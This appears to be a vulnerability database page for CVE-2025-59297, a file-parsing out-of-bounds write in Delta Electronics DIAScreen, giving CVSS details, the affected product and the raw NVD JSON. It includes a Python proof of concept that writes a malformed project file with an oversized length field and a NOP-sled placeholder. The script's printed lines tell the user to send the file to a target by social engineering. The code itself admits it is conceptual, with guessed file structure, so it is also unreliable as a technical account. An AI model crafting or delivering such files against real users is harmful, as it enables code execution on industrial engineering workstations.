Security Vulnerability Report
中文
CVE-2025-59297 CVSS 7.8 HIGH

CVE-2025-59297

Published: 2025-10-03 03:15:35
Last Modified: 2025-10-08 16:07:01
Source: 759f5e80-c8e1-4224-bead-956d7b33c98b

Description

Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:* - VULNERABLE
Delta Electronics DIAScreen(具体受影响版本请参考官方安全公告Delta-PCSA-2025-00018)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59297 - Delta Electronics DIAScreen Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability pattern # The actual exploit requires a valid DIAScreen project file with manipulated fields import struct # Header magic bytes for a DIAScreen project file (example pattern) HEADER_MAGIC = b'DIAS' def create_malicious_file(output_path): """ Create a malicious DIAScreen file that triggers the out-of-bounds write. The vulnerability exists in the file parsing module where user-supplied length/size fields are not properly validated before being used in memory writes. """ data = bytearray() # File header data += HEADER_MAGIC data += struct.pack('<I', 0x00010000) # Version field # Section: Object descriptor with manipulated length field # The parser reads this length and uses it to allocate/write memory # Setting it to an abnormally large value triggers OOB write data += struct.pack('<I', 0x0A) # Section type: object descriptor data += struct.pack('<I', 0xFFFFFFFF) # Malicious length - triggers OOB write # Payload data - shellcode or controlled data to be written OOB # In a real exploit, this would be carefully crafted to overwrite # return addresses or function pointers for code execution payload = b'\x90' * 256 # NOP sled placeholder payload += b'\x41' * 256 # Controlled data data += payload # Additional sections to make file appear valid data += struct.pack('<I', 0xFF) # End marker with open(output_path, 'wb') as f: f.write(data) print(f"[*] Malicious file created: {output_path}") print(f"[*] File size: {len(data)} bytes") print("[!] When opened in vulnerable DIAScreen, this triggers CVE-2025-59297") if __name__ == "__main__": create_malicious_file("malicious_diascreen.dsp") print("[*] Send this file to a target using social engineering") print("[*] When target opens it in DIAScreen, code executes in process context")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59297", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2025-10-03T03:15:34.787", "lastModified": "2025-10-08T16:07:00.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process."}], "metrics": {"cvssMetricV40": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.1", "matchCriteriaId": "0CA2C1C6-9BBF-49CB-ABCC-4BE44356DBFE"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2025-00018_DIAScreen%20File%20Parsing%20Out-Of-Bounds%20Write%20Vulnerability.pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}